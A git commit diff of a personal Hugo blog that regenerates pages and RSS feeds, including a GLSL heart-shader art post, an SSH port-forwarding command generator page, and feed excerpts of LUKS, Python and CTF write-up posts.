This commit is contained in:
lavafroth
2026-02-02 14:05:16 +00:00
parent 7f139b16ce
commit a7ccbb115e
88 changed files with 783 additions and 614 deletions

View File

@@ -33,7 +33,7 @@ void main (void) {
gl_FragColor = vec4(color,1.0);
}
I tinkered around for quite a while before discovering that I can intersect two xyxy skewed ellipses
with the absolute value operator. Here&rsquo;s my custom equation for the heart shape.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jan 18, 2026</p><h1>Step to the 💗 beat</h1></hgroup><section class=post-content><p>My first procedurally generated animation using shaders.</p><p>The shader can be visualized with <code>glslViewer</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-glsl data-lang=glsl><span style=display:flex><span><span style=color:#66d9ef>uniform</span> <span style=color:#66d9ef>vec2</span> u_mouse;
with the absolute value operator. Here&rsquo;s my custom equation for the heart shape.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a class=active href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup><p>Jan 18, 2026</p><h1>Step to the 💗 beat</h1></hgroup><section class=post-content><p>My first procedurally generated animation using shaders.</p><p>The shader can be visualized with <code>glslViewer</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-glsl data-lang=glsl><span style=display:flex><span><span style=color:#66d9ef>uniform</span> <span style=color:#66d9ef>vec2</span> u_mouse;
</span></span><span style=display:flex><span><span style=color:#66d9ef>uniform</span> <span style=color:#66d9ef>vec2</span> u_resolution;
</span></span><span style=display:flex><span><span style=color:#66d9ef>uniform</span> <span style=color:#66d9ef>float</span> u_time;
</span></span><span style=display:flex><span>

View File

@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Art on lavafroth</title><link>https://lavafroth.is-a.dev/art/</link><description>Recent content in Art on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Sun, 18 Jan 2026 08:06:06 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/art/index.xml" rel="self" type="application/rss+xml"/><item><title>Step to the 💗 beat</title><link>https://lavafroth.is-a.dev/art/drawhearts/</link><pubDate>Sun, 18 Jan 2026 08:06:06 +0530</pubDate><guid>https://lavafroth.is-a.dev/art/drawhearts/</guid><description>&lt;p&gt;My first procedurally generated animation using shaders.&lt;/p&gt;
&lt;p&gt;The shader can be visualized with &lt;code&gt;glslViewer&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-glsl" data-lang="glsl"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;uniform&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;vec2&lt;/span&gt; u_mouse;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-glsl" data-lang="glsl"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;uniform&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;vec2&lt;/span&gt; u_mouse;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;uniform&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;vec2&lt;/span&gt; u_resolution;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;uniform&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;float&lt;/span&gt; u_time;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;

View File

@@ -0,0 +1,38 @@
<!doctype html><html lang=en-us><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>- lavafroth</title><meta name=description content='<!DOCTYPE html>
Easy SSH tunnel
Local port
Traffic direction
Remote port
connecting to
'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><hgroup data-pagefind-body><p data-pagefind-ignore><time>Jan 1, 1 | 1 minute read</time></p><h1 data-pagefind-meta=title></h1></hgroup><section class=post-content data-pagefind-body><!doctype html><html lang=en><head><meta charset=UTF-8><title>Easy SSH tunnel</title><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content><style>*{padding:0;margin:0;font-family:monospace}body{background:oklch(29.3% .136 325.661);font-size:2rem}input{outline:none;font-size:2rem;color:#eee;border:none;padding:.5rem;background:oklch(29.3% .136 325.661);&:invalid { background:oklch(40.8% 0.153 2.432); }}.post-content>div{margin:1rem auto;label:not([for=direction]) { padding:.5rem; background:lab(78.5378% 39.3533 -32.9615); color:oklch(29.3% 0.136 325.661); }}.grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));grid-template-rows:repeat(2,minmax(0,1fr));grid-auto-flow:column;justify-content:space-between;align-items:center; *{ text-align: center; } label[for=direction] { user-select: none; grid-row: -1 / 1; color: #eee; &::after { display: block; content: '🡠'; } } input[type="checkbox"] { opacity: 0; position: absolute; pointer-events: none; } &:has(input:checked) { label[for=direction]::after { content: '🡢'; } }}#remotehost{width:62rem}#command{background:oklch(45.2% .211 324.591);margin-top:1rem;padding:.5rem;color:#eee}</style></head><body><div class=grid><label for=localport>Local port</label>
<input id=localport type=number min=0 max=65535 step=1 value=8888>
<input type=checkbox id=direction>
<label for=direction>Traffic direction</label>
<label for=remoteport>Remote port</label>
<input id=remoteport type=number min=0 max=65535 step=1 value=8888></div><div><label for=remotehost>connecting to</label>
<input id=remotehost type=text placeholder=user@remote.host><div id=command></div></div></body><script>const localPort=document.querySelector("#localport"),remotePort=document.querySelector("#remoteport"),remoteHost=document.querySelector("#remotehost"),direction=document.querySelector("#direction"),command=document.querySelector("#command");function updateCommand(){const e=localPort.value,t=remotePort.value,n=direction.checked?"R":"L",s=remoteHost.value||remoteHost.placeholder;command.textContent=`ssh -f -N -${n} ${e}:localhost:${t} ${s}`}localPort.addEventListener("input",updateCommand),direction.addEventListener("change",updateCommand),remotePort.addEventListener("input",updateCommand),remoteHost.addEventListener("input",updateCommand),updateCommand()</script></html></section><footer class=post-tags data-pagefind-meta=tags></footer></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,4 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.5"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=./header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=./about/ aria-label=about style=--url:url(./about.svg)></a><a href=./art/ aria-label=art style=--url:url(./art.svg)></a><a href=./index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=./pagefind/pagefind-ui.css rel=stylesheet><script src=./pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/><h2>Working With LUKS File Stashes</h2></a><time>Jan 1, 2026 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/linux class=list-tag>Linux</a>
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.155.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=./header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=./about/ aria-label=about style=--url:url(./about.svg)></a><a href=./art/ aria-label=art style=--url:url(./art.svg)></a><a href=./index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=./pagefind/pagefind-ui.css rel=stylesheet><script src=./pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/><h2>Working With LUKS File Stashes</h2></a><time>Jan 1, 2026 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/linux class=list-tag>Linux</a>
<a href=https://lavafroth.is-a.dev/tags/luks class=list-tag>LUKS</a>
<a href=https://lavafroth.is-a.dev/tags/cryptography class=list-tag>Cryptography</a>
<a class=post-link aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/></a></article><article><a aria-label="Algebraic Python Enums" href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><h2>Algebraic Python Enums</h2></a><time>Nov 2, 2025 | 5 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>

171
index.xml
View File

@@ -1,6 +1,6 @@
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>lavafroth</title><link>https://lavafroth.is-a.dev/</link><description>Recent content on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Sun, 18 Jan 2026 08:06:06 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/index.xml" rel="self" type="application/rss+xml"/><item><title>Step to the 💗 beat</title><link>https://lavafroth.is-a.dev/art/drawhearts/</link><pubDate>Sun, 18 Jan 2026 08:06:06 +0530</pubDate><guid>https://lavafroth.is-a.dev/art/drawhearts/</guid><description>&lt;p&gt;My first procedurally generated animation using shaders.&lt;/p&gt;
&lt;p&gt;The shader can be visualized with &lt;code&gt;glslViewer&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-glsl" data-lang="glsl"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;uniform&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;vec2&lt;/span&gt; u_mouse;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-glsl" data-lang="glsl"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;uniform&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;vec2&lt;/span&gt; u_mouse;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;uniform&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;vec2&lt;/span&gt; u_resolution;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;uniform&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;float&lt;/span&gt; u_time;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
@@ -40,7 +40,7 @@ without having to completely format the drive anew.&lt;/p&gt;
with LUKS container files that are encrypted at rest and can be decrypted on
demand with knowledge of the passphrase.&lt;/p&gt;
&lt;h2 id="creating-the-image-base"&gt;Creating the image base&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head --bytes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4G /dev/urandom &amp;gt; stash.img
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;head --bytes&lt;span style="color:#f92672"&gt;=&lt;/span&gt;4G /dev/urandom &amp;gt; stash.img
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="format-the-image"&gt;Format the image&lt;/h2&gt;
&lt;p&gt;The image can be formatted by either including the header in the image itself or
keeping a detached header.&lt;/p&gt;</description></item><item><title>Algebraic Python Enums</title><link>https://lavafroth.is-a.dev/post/algebraic-python-enums/</link><pubDate>Sun, 02 Nov 2025 19:08:46 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/algebraic-python-enums/</guid><description>&lt;p&gt;University has compelled me to use Python despite my preference for Rust,
@@ -657,12 +657,12 @@ the last branch which returns instead of calling the decryption subroutine.&lt;/
&lt;p&gt;I found some hex in a file called fleg, but Im not sure how its encoded. Im pretty sure its some kind of xor…&lt;/p&gt;
&lt;h1 id="exploration"&gt;Exploration&lt;/h1&gt;
&lt;p&gt;We begin by creating a new rust project.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo new amateurs
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo new amateurs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd amateurs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo add hex
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cargo add itertools
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let&amp;rsquo;s decode the hexadecimal contents of the file using the following Rust code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() -&amp;gt; Result&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;(), Box&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;dyn&lt;/span&gt; std::error::Error&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; {
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;fn&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;main&lt;/span&gt;() -&amp;gt; Result&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;(), Box&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;dyn&lt;/span&gt; std::error::Error&lt;span style="color:#f92672"&gt;&amp;gt;&amp;gt;&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; bytes &lt;span style="color:#f92672"&gt;=&lt;/span&gt; hex::decode(&lt;span style="color:#e6db74"&gt;&amp;#34;610c6115651072014317463d73127613732c73036102653a6217742b701c61086e1a651d742b69075f2f6c0d69075f2c690e681c5f673604650364023944&amp;#34;&lt;/span&gt;)&lt;span style="color:#f92672"&gt;?&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; stream &lt;span style="color:#f92672"&gt;=&lt;/span&gt; String::from_utf8_lossy(&lt;span style="color:#f92672"&gt;&amp;amp;&lt;/span&gt;bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;println!&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#e6db74"&gt;{:?}&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;, stream);
@@ -677,7 +677,7 @@ reference meant.&lt;/p&gt;
&lt;p&gt;In the list of functions under the Symbol Tree, we can navigate to the &lt;code&gt;entry&lt;/code&gt; function which looks like:&lt;/p&gt;</description></item><item><title>Waiting an Eternity</title><link>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</link><pubDate>Wed, 19 Jul 2023 07:53:17 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/</guid><description>&lt;p&gt;This was a fairly straightforward and fun challenge that required a bit of common sense to solve.
We are given the URL &lt;a href="https://waiting-an-eternity.amt.rs"&gt;https://waiting-an-eternity.amt.rs&lt;/a&gt; to begin with.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s use &lt;code&gt;curl&lt;/code&gt; with its verbose flag to fetch this URL.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -v &lt;span style="color:#e6db74"&gt;&amp;#34;https://waiting-an-eternity.amt.rs&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We get a response that tells us to wait an enternity.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;gt; GET / HTTP/2
&amp;gt; Host: waiting-an-eternity.amt.rs
@@ -700,7 +700,7 @@ Tired of this workflow that I somehow spiraled into, I&amp;rsquo;m now seeking t
Linux way of doing things. It has an amazing package manager as well as &lt;a href="https://aur.archlinux.org"&gt;a user repository&lt;/a&gt; for extra software unavailable in the official repositories. It&amp;rsquo;s rather
